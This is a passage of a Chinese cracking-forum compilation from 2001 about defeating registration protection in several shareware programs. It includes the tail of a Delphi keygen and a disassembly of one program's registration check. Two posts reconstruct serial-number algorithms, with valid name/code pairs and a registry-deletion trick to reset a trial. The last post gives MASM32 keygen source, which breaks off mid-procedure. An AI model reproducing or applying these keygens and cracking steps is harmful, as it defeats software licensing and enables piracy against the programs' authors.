if strlen(pchar(edit2.Text))=0 then
begin
messagedlg('请输入你的注册申请码！',mterror,[mbok],0);
exit;
end;
codehex:= strtoint(code);
coder5:= strtoint(copy(code,6,5));
r1:=codehex+coder5;
r2:=r1+1981813;
r3:=r2+namelen;
coder5:=strtoint(copy(inttostr(r3),6,5));
r4:=r3+coder5;
regcode:=inttohex(r4,16);
i:=1;
while (regcode[1]='0') and (i<17) do
begin
delete(regcode,1,1);
i:=i+1;
end;
edit3.Text :=regcode;
end;

end.


分析家v4.01

 标 题:分析家v4.01注册核心代码---幻影的壳 (635字)
发信人:lpyxt
时 间:2001-11-2 9:18:00
详细信息:
分析家v4.01注册核心代码 lpyxt=6c70797874H

mov eax,01
xor ebx,ebx
mov esi,40b979
add esi,ebp
4ba6a1 mov bl,[esi]
cmp bl,00
jz 4ba6ad
mul ebx ;名字相乘
inc esi
4ba6ab jmp 4ba6a1
4ba6ad xor eax,[ebp+40c1c9] ;=474130e即74715918
xor eax,[ebp+409912] ;硬件号
XHG ah,al
mov ebx,eax
mov esi,40b98d
add esi,ebp
call 4bcb2f
cmp ebx,eax ;ebx中为正确注册码
4ba6cc jz 4ba6d0
ret
4ba6d0 mov ax,01
ret

以此作为交流


国图图书下载系统9.0

 标 题:国图图书下载系统9.0的破解过程及注册码算法，谁能帮我写个注册机来？：） (13千字)
发信人:crack007
时 间:2001-11-26 20:53:48
详细信息:
国图图书下载系统9.0的破解过程及注册码算法，谁能帮我写个注册机来？：）

国图图书下载系统9.0的破解过程及注册码算法

作者：Crack007
主页：http://www.crack007.com ( ^-^ )
破解日期：2001-11-26
破解工具：TRW2000 1.22 Fi2.49 Wasm 8.93黄金版
难度：较易

软件下载地址：http://www.widenstage.com/artech/product/nlcdownload/nlcdownload.exe（1633KB）

软件简介：　国家图书馆是继超星图书馆以来的又一家大型电子数字图书馆，现有图书10余万册，并且不断增加。本软件就是专门为下载国家图书馆的电子图书而设计。共享版只能下载不足150页的图书，或者图书的前150页。 您注册以后，将没有此限制。

主程序用NeoLite v2.0加壳，简单脱壳后反汇编得到如下信息：

:0040F484 E827370C00 call 004D2BB0
:0040F489 8BC3 mov eax, ebx
:0040F48B E864090000 call 0040FDF4
:0040F490 8BC3 mov eax, ebx
:0040F492 E879030000 call 0040F810 //看看下面提示语句就知道很经典的，让我们跟进这个Call
:0040F497 84C0 test al, al
:0040F499 7460 je 0040F4FB //跳则死
:0040F49B 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"感谢您，您已经注册成功!
重新启动系统，注册将会"
->"生效!"
|
:0040F49D BA15E24E00 mov edx, 004EE215
:0040F4A2 66C746102C00 mov [esi+10], 002C
:0040F4A8 8D45E4 lea eax, dword ptr [ebp-1C]
:0040F4AB E864350C00 call 004D2A14
:0040F4B0 FF461C inc [esi+1C]
:0040F4B3 8B10 mov edx, dword ptr [eax]
:0040F4B5 52 push edx
:0040F4B6 6A02 push 00000002
:0040F4B8 6A00 push 00000000
:0040F4BA 8D4DBA lea ecx, dword ptr [ebp-46]
:0040F4BD 51 push ecx
:0040F4BE E885940B00 call 004C8948
:0040F4C3 83C40C add esp, 0000000C
:0040F4C6 8D45BA lea eax, dword ptr [ebp-46]
:0040F4C9 804DBA04 or byte ptr [ebp-46], 04
:0040F4CD 668B08 mov cx, word ptr [eax]
:0040F4D0 58 pop eax
:0040F4D1 B202 mov dl, 02
:0040F4D3 E8E8310700 call 004826C0
:0040F4D8 FF4E1C dec [esi+1C]
:0040F4DB 8D45E4 lea eax, dword ptr [ebp-1C]
:0040F4DE BA02000000 mov edx, 00000002
:0040F4E3 E8C8360C00 call 004D2BB0
:0040F4E8 C7833402000001000000 mov dword ptr [ebx+00000234], 00000001
:0040F4F2 8BC3 mov eax, ebx
:0040F4F4 E83BAB0600 call 0047A034
:0040F4F9 EB58 jmp 0040F553

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040F499(C)
|
:0040F4FB 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"注册码错误!请重新输入!"
|
:0040F4FD BA49E24E00 mov edx, 004EE249
:0040F502 66C746103800 mov [esi+10], 0038

-----------------来自 0040F492 E879030000 call 0040F810----

:0040F810 55 push ebp
:0040F811 8BEC mov ebp, esp
:0040F813 83C4A8 add esp, FFFFFFA8
:0040F816 53 push ebx
:0040F817 56 push esi
:0040F818 57 push edi
:0040F819 8BD8 mov ebx, eax
:0040F81B 8D75B8 lea esi, dword ptr [ebp-48]
:0040F81E B8B0E64E00 mov eax, 004EE6B0
:0040F823 E83C940B00 call 004C8C64
:0040F828 8BC3 mov eax, ebx
:0040F82A E8BD030000 call 0040FBEC
:0040F82F 66C746100800 mov [esi+10], 0008
:0040F835 33D2 xor edx, edx
:0040F837 33C9 xor ecx, ecx
:0040F839 8955FC mov dword ptr [ebp-04], edx
:0040F83C 33C0 xor eax, eax
:0040F83E FF461C inc [esi+1C]
:0040F841 8D933C030000 lea edx, dword ptr [ebx+0000033C]
:0040F847 66C746101400 mov [esi+10], 0014
:0040F84D 66C746102000 mov [esi+10], 0020
:0040F853 894DF8 mov dword ptr [ebp-08], ecx
:0040F856 FF461C inc [esi+1C]
:0040F859 66C746101400 mov [esi+10], 0014
:0040F85F 66C746102C00 mov [esi+10], 002C

.......省略基本无关初始化的语句，来到下面的计算注册码的核心代码：
* Possible StringData Ref from Data Obj ->"0x"
|
:0040F9C6 B8F2E24E00 mov eax, 004EE2F2
:0040F9CB E828350C00 call 004D2EF8
:0040F9D0 8D45E4 lea eax, dword ptr [ebp-1C]
:0040F9D3 8B00 mov eax, dword ptr [eax]
:0040F9D5 E89AD00A00 call 004BCA74
:0040F9DA 8945B0 mov dword ptr [ebp-50], eax
:0040F9DD 8955B4 mov dword ptr [ebp-4C], edx
:0040F9E0 FF4E1C dec [esi+1C]
:0040F9E3 8D45E4 lea eax, dword ptr [ebp-1C]
:0040F9E6 BA02000000 mov edx, 00000002
:0040F9EB E8C0310C00 call 004D2BB0
:0040F9F0 FF4E1C dec [esi+1C]
:0040F9F3 8D45E8 lea eax, dword ptr [ebp-18]
:0040F9F6 BA02000000 mov edx, 00000002
:0040F9FB E8B0310C00 call 004D2BB0
:0040FA00 66C746101400 mov [esi+10], 0014
:0040FA06 33DB xor ebx, ebx
:0040FA08 EB6E jmp 0040FA78

--------------- 以上作用主要是把机器码转为16进制数，即0x...... ----------------

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040FAA4(C)
|
:0040FA0A 837DFC00 cmp dword ptr [ebp-04], 00000000 <---[ebp-04]保存的是我们填入的E-mail。判断是否为空
:0040FA0E 7408 je 0040FA18
:0040FA10 8B45FC mov eax, dword ptr [ebp-04] <---E-mail 地址
:0040FA13 8B50FC mov edx, dword ptr [eax-04] <---E-mail 字符位数
:0040FA16 EB02 jmp 0040FA1A

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040FA0E(C)
|
:0040FA18 33D2 xor edx, edx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040FA16(U)
|
:0040FA1A 3BDA cmp ebx, edx <--- ebx初始值为0 ，并判断该计算E-mail字符位数是否大于已经循环的次数
:0040FA1C 7D3B jge 0040FA59 <--- 若大于已经循环的次数，则转到0040FA59进行处理
:0040FA1E 8D7B01 lea edi, dword ptr [ebx+01]
:0040FA21 57 push edi
:0040FA22 8D45FC lea eax, dword ptr [ebp-04]
:0040FA25 50 push eax
:0040FA26 E8652F0C00 call 004D2990
:0040FA2B 83C408 add esp, 00000008
:0040FA2E 8D45FC lea eax, dword ptr [ebp-04]
:0040FA31 E8D2320C00 call 004D2D08
:0040FA36 037DFC add edi, dword ptr [ebp-04]
:0040FA39 4F dec edi
:0040FA3A 0FBE07 movsx eax, byte ptr [edi]
:0040FA3D 99 cdq <-----CDQ指令以方便做64位运算
:0040FA3E 52 push edx
:0040FA3F 50 push eax
:0040FA40 8B45B0 mov eax, dword ptr [ebp-50] <---保存机器码后 8 位计算的累计结果
:0040FA43 8B55B4 mov edx, dword ptr [ebp-4C] <---保存机器码前 8 位计算的累计结果
:0040FA46 E8D1BE0B00 call 004CB91C

----------------------call 004CB91C---start--------------------------
|:0040F1DE , :0040FA46 , :0040FA66
|
:004CB91C 52 push edx
:004CB91D 50 push eax
:004CB91E 8B442410 mov eax, dword ptr [esp+10]
:004CB922 F72424 mul dword ptr [esp]
:004CB925 8BC8 mov ecx, eax
:004CB927 8B442404 mov eax, dword ptr [esp+04] <---[esp+04]： 原始机器码前 8 位
:004CB92B F764240C mul [esp+0C] <---[esp+0c]保存E-mail码地址的ASCII的值或00:A1
并与原始机器码前 8 位相乘，结果保存在EDX（符号）和EAX（数值）
:004CB92F 03C8 add ecx, eax <---ECX保存中间结果
:004CB931 8B0424 mov eax, dword ptr [esp] <---[Esp]： 原始机器码后 8 位
:004CB934 F764240C mul [esp+0C] <---[esp+0c]保存E-mail码地址的ASCII的值或00:A1
并与原始机器码后 8 位相乘，结果保存在EDX（符号）和EAX
:004CB938 03D1 add edx, ecx <---EDX为上步运算结果的符号位，并与ECX相加
:004CB93A 59 pop ecx
:004CB93B 59 pop ecx
:004CB93C C20800 ret 0008
----------------------call 004CB91C---End---------------------------

:0040FA4B 83C001 add eax, 00000001 <----后8位计算结果加1
:0040FA4E 83D200 adc edx, 00000000 <----前8位计算结果加0（多此一举？*^_^*）
:0040FA51 8945B0 mov dword ptr [ebp-50], eax <----保存前8位计算结果
:0040FA54 8955B4 mov dword ptr [ebp-4C], edx <----保存后8位计算结果
:0040FA57 EB1E jmp 0040FA77

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040FA1C(C)
|
:0040FA59 6A00 push 00000000 <-----符号位
:0040FA5B 68A1000000 push 000000A1 <-----原始值
:0040FA60 8B45B0 mov eax, dword ptr [ebp-50]
:0040FA63 8B55B4 mov edx, dword ptr [ebp-4C]
:0040FA66 E8B1BE0B00 call 004CB91C <-----用00:A1代替原E-mail 地址的 ASCII码
依次与机器码前、后 8 位做相同运算
:0040FA6B 83C001 add eax, 00000001 -----
:0040FA6E 83D200 adc edx, 00000000 |---作用如前述。
:0040FA71 8945B0 mov dword ptr [ebp-50], eax |
:0040FA74 8955B4 mov dword ptr [ebp-4C], edx -----

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040FA57(U)
|
:0040FA77 43 inc ebx <---计算标志，用于判断E-mail字符串运算是否结束。
若结束，则用A1代替E-mail字符串的ASC值进行运算

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040FA08(U)
|
:0040FA78 837DFC00 cmp dword ptr [ebp-04], 00000000
:0040FA7C 7408 je 0040FA86
:0040FA7E 8B4DFC mov ecx, dword ptr [ebp-04] <---E-mail 地址
:0040FA81 8B41FC mov eax, dword ptr [ecx-04] <---E-mail 位数
:0040FA84 EB02 jmp 0040FA88

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040FA7C(C)
|
:0040FA86 33C0 xor eax, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040FA84(U)
|
:0040FA88 8945AC mov dword ptr [ebp-54], eax
:0040FA8B C745A808000000 mov [ebp-58], 00000008
:0040FA92 8B55A8 mov edx, dword ptr [ebp-58]
:0040FA95 3B55AC cmp edx, dword ptr [ebp-54]
:0040FA98 7E05 jle 0040FA9F
:0040FA9A 8D4DA8 lea ecx, dword ptr [ebp-58]
:0040FA9D EB03 jmp 0040FAA2

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040FA98(C)
|
:0040FA9F 8D4DAC lea ecx, dword ptr [ebp-54]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040FA9D(U)
|
:0040FAA2 3B19 cmp ebx, dword ptr [ecx] <---ecx=8
:0040FAA4 0F8C60FFFFFF jl 0040FA0A <---循环 8 次
:0040FAAA 66C746105000 mov [esi+10], 0050
:0040FAB0 FF75B4 push [ebp-4C] <----保存最终后 8 位结果
:0040FAB3 FF75B0 push [ebp-50] <----保存最终前 8 位结果
:0040FAB6 33D2 xor edx, edx
:0040FAB8 B808000000 mov eax, 00000008
:0040FABD 8955E0 mov dword ptr [ebp-20], edx

将前、后 8 位结果算出后的最终结果作为字符串简单相加即为注册码。

。。。。。以下略。。。。

简单的举个例子：
我的机器码是：AEE0B7A4DE8E2DB5
E-mail为：1212
则注册码可这样得到：

第一次运行到0040FA1C并不跳转，因为刚开始计算的E-mail的ASCII码为第1个字符,并不大于总位数4。
让我们跟进0040FA46的这个Call。
首先将机器码前 8 位EDX（AEE0B7A4）、机器码后 8 位EAX（DE8E2DB5）压栈保存；
然后：
1. AEE0B7A4*31（1的ASC值）=21:79032644=EDX:EAX （谁能告诉我这符号值21是怎么运算得到的？）
2. 把EAX累加到ECX
3. DE8E2DB5*31（1的ASC值）=2A:9936BFA5=EDX:EAX
4. ECX+2A=7903268E，保存到EDX
5. 9936BFA5+1=9936BFA6 保存到[ebp-50]
6. 7903268E+0=7903268E 保存到[ebp-4C]
如此循环4（E-mail字符串位数）次后，再用A1代替E-mail的ASCII码值做同样的运算，
共再做4（=8-4）次循环运算，最终
[ebp-50]=20FD43A1 （后）
[ebp-4C]=9B8E2CEB （前）
把“”和“”合并起来得到“9B8E2CEB20FD43A1”，这就是我们所需要的注册码。

注册信息保存在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\privatestorage\NLCDOWNLOAD键值下，删除即可重复注册。
谁能帮我写个注册机来？：）
Good LUCK!

Crack007[BCG]
2001-11-26


计算机专业词汇学习1.0

 标 题:计算机专业词汇学习1.0算法分析[原创] (14千字)
发信人:ssljx
时 间:2001-12-13 13:17:30
详细信息:
计算机专业词汇学习1.0算法分析
作者:ssljx
软件名称：计算机专业词汇学习1.0
用途：主要为考程序员&高级程序学习词汇使用
下载网址：http://www.21cmm.com/rjxz/learn.zip
大小：1420kB
工具:trw2000

这是我第一个分析算法的软件,下面我用U1-->U6代表用户名相应前面六位..用bpx hmemcpy拦截来到这里..

:004055EA 8D45F8 lea eax, dword ptr [ebp-08]
:004055ED B901000000 mov ecx, 00000001
:004055F2 BA01000000 mov edx, 00000001
:004055F7 E864F50800 call 00494B60
:004055FC 837DF400 cmp dword ptr [ebp-0C], 00000000
:00405600 7405 je 00405607
:00405602 8B45F4 mov eax, dword ptr [ebp-0C]
:00405605 EB05 jmp 0040560C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00405600(C)
|
:00405607 B84CC34A00 mov eax, 004AC34C

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040559D(C), :00405605(U)
|
:0040560C 0FBE10 movsx edx, byte ptr [eax]//取用户名第一位U1的ASCII16进制码 ==>edx
:0040560F 69FA9A020000 imul edi, edx, 0000029A//U1*29A=12b2e==>edi把值保存在EDI
:00405615 33C0 xor eax, eax
:00405617 8D55EC lea edx, dword ptr [ebp-14]
:0040561A 8945EC mov dword ptr [ebp-14], eax
:0040561D 52 push edx
:0040561E FF461C inc [esi+1C]
:00405621 33C9 xor ecx, ecx
:00405623 894DF0 mov dword ptr [ebp-10], ecx
:00405626 8D55F0 lea edx, dword ptr [ebp-10]
:00405629 FF461C inc [esi+1C]
:0040562C 8B83E0020000 mov eax, dword ptr [ebx+000002E0]
:00405632 E8C55F0500 call 0045B5FC
:00405637 8D45F0 lea eax, dword ptr [ebp-10]
:0040563A B901000000 mov ecx, 00000001
:0040563F BA02000000 mov edx, 00000002
:00405644 E817F50800 call 00494B60
:00405649 837DEC00 cmp dword ptr [ebp-14], 00000000
:0040564D 7405 je 00405654
:0040564F 8B45EC mov eax, dword ptr [ebp-14]
:00405652 EB05 jmp 00405659

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040564D(C)
|
:00405654 B84DC34A00 mov eax, 004AC34D

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00405652(U)
|
:00405659 0FBE10 movsx edx, byte ptr [eax]//取用户名第二位U2的ASCII16进制码 ==>edx
:0040565C 8BCA mov ecx, edx
:0040565E 33C0 xor eax, eax
:00405660 C1E104 shl ecx, 04//U2*10==>ecx
:00405663 8945E4 mov dword ptr [ebp-1C], eax
:00405666 03CA add ecx, edx//ECX+U2==>ecx
:00405668 8D0C8A lea ecx, dword ptr [edx+4*ecx]//U2+4*ECX==>ECX
:0040566B 8D0C8A lea ecx, dword ptr [edx+4*ecx]//U2+4*ECX==>ECX
:0040566E 8D0C4A lea ecx, dword ptr [edx+2*ecx]//U2+2*ECX==>ECX
:00405671 8D55E4 lea edx, dword ptr [ebp-1C]
:00405674 52 push edx
:00405675 03F9 add edi, ecx//将第二位计算出来的值累加第一的值
:00405677 FF461C inc [esi+1C]
:0040567A 33C9 xor ecx, ecx
:0040567C 894DE8 mov dword ptr [ebp-18], ecx
:0040567F 8D55E8 lea edx, dword ptr [ebp-18]
:00405682 FF461C inc [esi+1C]
:00405685 8B83E0020000 mov eax, dword ptr [ebx+000002E0]
:0040568B E86C5F0500 call 0045B5FC
:00405690 8D45E8 lea eax, dword ptr [ebp-18]
:00405693 B901000000 mov ecx, 00000001
:00405698 BA03000000 mov edx, 00000003
:0040569D E8BEF40800 call 00494B60
:004056A2 837DE400 cmp dword ptr [ebp-1C], 00000000
:004056A6 7405 je 004056AD
:004056A8 8B45E4 mov eax, dword ptr [ebp-1C]
:004056AB EB05 jmp 004056B2

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004056A6(C)
|
:004056AD B84EC34A00 mov eax, 004AC34E

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004056AB(U)
|
:004056B2 0FBE10 movsx edx, byte ptr [eax]//取第三位U3
:004056B5 8BCA mov ecx, edx
:004056B7 33C0 xor eax, eax
:004056B9 C1E103 shl ecx, 03//U3*8==>ECX
:004056BC 8945DC mov dword ptr [ebp-24], eax
:004056BF 2BCA sub ecx, edx//ECX-U3==>ECX
:004056C1 C1E104 shl ecx, 04//ECX*10==>ECX
:004056C4 2BCA sub ecx, edx//ECX-U3==>ECX
:004056C6 8D55DC lea edx, dword ptr [ebp-24]
:004056C9 52 push edx
:004056CA 8D55E0 lea edx, dword ptr [ebp-20]
:004056CD C1E102 shl ecx, 02//ECX*4==>ECX
:004056D0 FF461C inc [esi+1C]
:004056D3 03F9 add edi, ecx//累加到EDI
:004056D5 33C9 xor ecx, ecx
:004056D7 894DE0 mov dword ptr [ebp-20], ecx
:004056DA FF461C inc [esi+1C]
:004056DD 8B83E0020000 mov eax, dword ptr [ebx+000002E0]
:004056E3 E8145F0500 call 0045B5FC
:004056E8 8D45E0 lea eax, dword ptr [ebp-20]
:004056EB B901000000 mov ecx, 00000001
:004056F0 BA04000000 mov edx, 00000004
:004056F5 E866F40800 call 00494B60
:004056FA 837DDC00 cmp dword ptr [ebp-24], 00000000
:004056FE 7405 je 00405705
:00405700 8B45DC mov eax, dword ptr [ebp-24]
:00405703 EB05 jmp 0040570A

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004056FE(C)
|
:00405705 B84FC34A00 mov eax, 004AC34F

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00405703(U)
|
:0040570A 0FBE10 movsx edx, byte ptr [eax]//取第四位U4
:0040570D 8BCA mov ecx, edx
:0040570F 33C0 xor eax, eax
:00405711 C1E103 shl ecx, 03//U4*8==>ECX
:00405714 8945D4 mov dword ptr [ebp-2C], eax
:00405717 2BCA sub ecx, edx//ECX-U4==>ECX
:00405719 C1E104 shl ecx, 04//ECX*10==>ECX
:0040571C 2BCA sub ecx, edx//ECX-U4==>ECX
:0040571E 8D55D4 lea edx, dword ptr [ebp-2C]
:00405721 52 push edx
:00405722 8D55D8 lea edx, dword ptr [ebp-28]
:00405725 C1E102 shl ecx, 02//ECX*4==>ECX
:00405728 FF461C inc [esi+1C]
:0040572B 03F9 add edi, ecx//累加EDI
:0040572D 33C9 xor ecx, ecx
:0040572F 894DD8 mov dword ptr [ebp-28], ecx
:00405732 FF461C inc [esi+1C]
:00405735 8B83E0020000 mov eax, dword ptr [ebx+000002E0]
:0040573B E8BC5E0500 call 0045B5FC
:00405740 8D45D8 lea eax, dword ptr [ebp-28]
:00405743 B901000000 mov ecx, 00000001
:00405748 BA05000000 mov edx, 00000005
:0040574D E80EF40800 call 00494B60
:00405752 837DD400 cmp dword ptr [ebp-2C], 00000000
:00405756 7405 je 0040575D
:00405758 8B45D4 mov eax, dword ptr [ebp-2C]
:0040575B EB05 jmp 00405762

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00405756(C)
|
:0040575D B850C34A00 mov eax, 004AC350

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040575B(U)
|
:00405762 0FBE10 movsx edx, byte ptr [eax]//取第五位U5
:00405765 8BCA mov ecx, edx
:00405767 33C0 xor eax, eax
:00405769 C1E104 shl ecx, 04//U5*10==>ECX
:0040576C 8945CC mov dword ptr [ebp-34], eax
:0040576F 03CA add ecx, edx//ECX+U5==>ECX
:00405771 8D0C8A lea ecx, dword ptr [edx+4*ecx]//U5+4*ECX==>ECX
:00405774 8D0C8A lea ecx, dword ptr [edx+4*ecx]//U5+4*ECX==>ECX
:00405777 8D0C4A lea ecx, dword ptr [edx+2*ecx]//U5+2*ECX==>ECX
:0040577A 8D55CC lea edx, dword ptr [ebp-34]
:0040577D 52 push edx
:0040577E 03F9 add edi, ecx累加EDI
:00405780 FF461C inc [esi+1C]
:00405783 33C9 xor ecx, ecx
:00405785 894DD0 mov dword ptr [ebp-30], ecx
:00405788 8D55D0 lea edx, dword ptr [ebp-30]
:0040578B FF461C inc [esi+1C]
:0040578E 8B83E0020000 mov eax, dword ptr [ebx+000002E0]
:00405794 E8635E0500 call 0045B5FC
:00405799 8D45D0 lea eax, dword ptr [ebp-30]
:0040579C B901000000 mov ecx, 00000001
:004057A1 BA06000000 mov edx, 00000006
:004057A6 E8B5F30800 call 00494B60
:004057AB 837DCC00 cmp dword ptr [ebp-34], 00000000
:004057AF 7405 je 004057B6
:004057B1 8B45CC mov eax, dword ptr [ebp-34]
:004057B4 EB05 jmp 004057BB

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004057AF(C)
|
:004057B6 B851C34A00 mov eax, 004AC351

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004057B4(U)
|
:004057BB 0FBE10 movsx edx, byte ptr [eax]//取第六位U6
:004057BE 69CA9A020000 imul ecx, edx, 0000029A//U6*29A==>ECX
:004057C4 03F9 add edi, ecx//累加EDI,这里就是注册码的十六进制..往后使换算和比较我就不跟了..
:004057C6 8BC7 mov eax, edi
:004057C8 33D2 xor edx, edx
:004057CA 8955FC mov dword ptr [ebp-04], edx
:004057CD 8D55FC lea edx, dword ptr [ebp-04]
:004057D0 FF461C inc [esi+1C]
:004057D3 E8388D0700 call 0047E510
:004057D8 FF4E1C dec [esi+1C]
:004057DB 8D45CC lea eax, dword ptr [ebp-34]
:004057DE BA02000000 mov edx, 00000002
:004057E3 E800F20800 call 004949E8
:004057E8 FF4E1C dec [esi+1C]
:004057EB 8D45D0 lea eax, dword ptr [ebp-30]
:004057EE BA02000000 mov edx, 00000002
:004057F3 E8F0F10800 call 004949E8
:004057F8 FF4E1C dec [esi+1C]
:004057FB 8D45D4 lea eax, dword ptr [ebp-2C]
:004057FE BA02000000 mov edx, 00000002
:00405803 E8E0F10800 call 004949E8
:00405808 FF4E1C dec [esi+1C]
:0040580B 8D45D8 lea eax, dword ptr [ebp-28]
:0040580E BA02000000 mov edx, 00000002
:00405813 E8D0F10800 call 004949E8
:00405818 FF4E1C dec [esi+1C]
:0040581B 8D45DC lea eax, dword ptr [ebp-24]
:0040581E BA02000000 mov edx, 00000002
:00405823 E8C0F10800 call 004949E8
:00405828 FF4E1C dec [esi+1C]
:0040582B 8D45E0 lea eax, dword ptr [ebp-20]
:0040582E BA02000000 mov edx, 00000002
:00405833 E8B0F10800 call 004949E8
:00405838 FF4E1C dec [esi+1C]
:0040583B 8D45E4 lea eax, dword ptr [ebp-1C]
:0040583E BA02000000 mov edx, 00000002
:00405843 E8A0F10800 call 004949E8
:00405848 FF4E1C dec [esi+1C]
:0040584B 8D45E8 lea eax, dword ptr [ebp-18]
:0040584E BA02000000 mov edx, 00000002
:00405853 E890F10800 call 004949E8
:00405858 FF4E1C dec [esi+1C]
:0040585B 8D45EC lea eax, dword ptr [ebp-14]
:0040585E BA02000000 mov edx, 00000002
:00405863 E880F10800 call 004949E8
:00405868 FF4E1C dec [esi+1C]
:0040586B 8D45F0 lea eax, dword ptr [ebp-10]
:0040586E BA02000000 mov edx, 00000002
:00405873 E870F10800 call 004949E8
:00405878 FF4E1C dec [esi+1C]
:0040587B 8D45F4 lea eax, dword ptr [ebp-0C]
:0040587E BA02000000 mov edx, 00000002
:00405883 E860F10800 call 004949E8
:00405888 FF4E1C dec [esi+1C]
:0040588B 8D45F8 lea eax, dword ptr [ebp-08]
:0040588E BA02000000 mov edx, 00000002
:00405893 E850F10800 call 004949E8
:00405898 66C746100800 mov [esi+10], 0008
:0040589E 66C746102000 mov [esi+10], 0020
:004058A4 33C0 xor eax, eax
:004058A6 8945C8 mov dword ptr [ebp-38], eax
:004058A9 8D55C8 lea edx, dword ptr [ebp-38]
:004058AC FF461C inc [esi+1C]
:004058AF 8B83E8020000 mov eax, dword ptr [ebx+000002E8]
:004058B5 E8425D0500 call 0045B5FC
:004058BA 8D45C8 lea eax, dword ptr [ebp-38]
:004058BD 8D55FC lea edx, dword ptr [ebp-04]
:004058C0 E8F3F10800 call 00494AB8//这里就是注册码比较,就不多说了...
:004058C5 50 push eax
:004058C6 FF4E1C dec [esi+1C]
:004058C9 8D45C8 lea eax, dword ptr [ebp-38]
:004058CC BA02000000 mov edx, 00000002
:004058D1 E812F10800 call 004949E8
:004058D6 59 pop ecx
:004058D7 84C9 test cl, cl
:004058D9 0F8495020000 je 00405B74
:004058DF B201 mov dl, 01
:004058E1 A104814300 mov eax, dword ptr [00438104]
:004058E6 E819290300 call 00438204
:004058EB 8BF8 mov edi, eax
:004058ED 89BBFC020000 mov dword ptr [ebx+000002FC], edi
:004058F3 BA02000080 mov edx, 80000002
:004058F8 8BC7 mov eax, edi
:004058FA E8A1EF0800 call 004948A0
:004058FF 66C746102C00 mov [esi+10], 002C

总结:
1.这个算法很简单,而且有两位的算法是一样就是U1跟U6,U2跟U5,U3跟U4.
2.下面我不算式列出来:(用A1-->A6代表给位的总和)
A1=U1*29A
A6=U6*29A
A2=U2+(U2+(U2+(U2*10+U2)*4)*4)*2
A5=U5+(U5+(U5+(U5*10+U5)*4)*4)*2
A3=((U3*8-U3)*10-U3)*4
A4=((U4*8-U4)*10-U4)*4
3.举例:
NAME:ssljxccc(其实算法要六位就够了..我输入多两位..)
s=73 s=73 l=6c j=6a x=78 c=63

A1=73*29A=12B2E

A2=73+(73+(73+(73*10+73)*4)*4)*2=F951

A3=((6C*8-6C)*10-6C)*4=BB50

A4=((6A*8-6A)*10-6A)*4=B7D8

A5=78+(78+(78+(78*10+78)*4)*4)*2=10428

A6=63*29A=1018E

注册吗:A1+A2+A3+A4+A5+A6=12B2E+F951+BB50+B7D8+10428+1018E=59D5D
换算成十进制:367965 完成..
NAME:ssljxccc
code:367965

标 题:MASM32注册机。对我来说，这个软件的序列号特别友好：） (4千字)
发信人:WenXinJY
时 间:2001-12-13 19:55:25
详细信息:

Name: WenXinJY
Code: 333444
好记！！！！！！
Name：免费软件
Code：-154290

;kg.asm
.386
.model flat,stdcall
option casemap:none
include hd.h
_WinMain Proto :DWORD,:DWORD,:DWORD,:DWORD
Calculation Proto

.const
DLG_MAIN equ 1000
IDC_UN equ 1001
IDC_SN equ 1002
ID_GEN equ 1003
ID_EXIT equ 1004

.data
MsgCap db "计算机专业词汇学习1.0 注册机 by WenXinJY",0
MsgName db "请输入您的用户名！",0
hInstance dd 0
UserLen dd 0
szFormat db "%i",0
UserID db 80 dup (0)
SN db 80 dup (0)

.radix 16

.code
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _WinMain,NULL
invoke ExitProcess,NULL

_WinMain proc uses ebx edi esi, \
hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD

mov eax,wMsg
.if eax == WM_CLOSE
invoke EndDialog,hWnd,NULL
.elseif eax == WM_INITDIALOG
invoke SetWindowText,hWnd,ADDR MsgCap
invoke SendDlgItemMessage,hWnd,IDC_SN,EM_SETREADONLY,TRUE,NULL
.elseif eax == WM_COMMAND
mov eax,wParam
.IF lParam!=0
.if eax==ID_GEN
;mov dowrd ptr UserID,0
;mov word ptr UserID[4],0
invoke RtlZeroMemory,addr UserID,80
invoke GetDlgItemText, hWnd, IDC_UN, addr UserID, 80
.if eax!=NULL
mov UserLen,eax
invoke Calculation
invoke SetDlgItemText, hWnd, IDC_SN, addr SN
.else
invoke MessageBox,NULL,addr MsgName,addr MsgCap,MB_OK or MB_ICONEXCLAMATION
.endif
.elseif eax==ID_EXIT
invoke SendMessage,hWnd,WM_CLOSE,NULL,NULL
.endif
.ENDIF
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
_WinMain ENDP

Calculation Proc
pushad
xor edi,edi
mov ebx,29ah
movsx eax,UserID[0]
mul ebx
add edi,eax
movsx eax,UserID[5]
mul ebx
add edi,eax
mov ebx,(1+(1+(1+(10+1)*4)*4)*2)
movsx eax,UserID[1]
mul ebx
add edi,eax
movsx eax,UserID[4]
mul ebx
add edi,eax
mov ebx,((8-1)*10-1)*4
movsx eax,UserID[2]
mul ebx
add edi,eax
movsx eax,UserID[3]
mul ebx
add edi,eax

push edi
push offset szFormat
push offset SN
call wsprintf
add esp,4*3
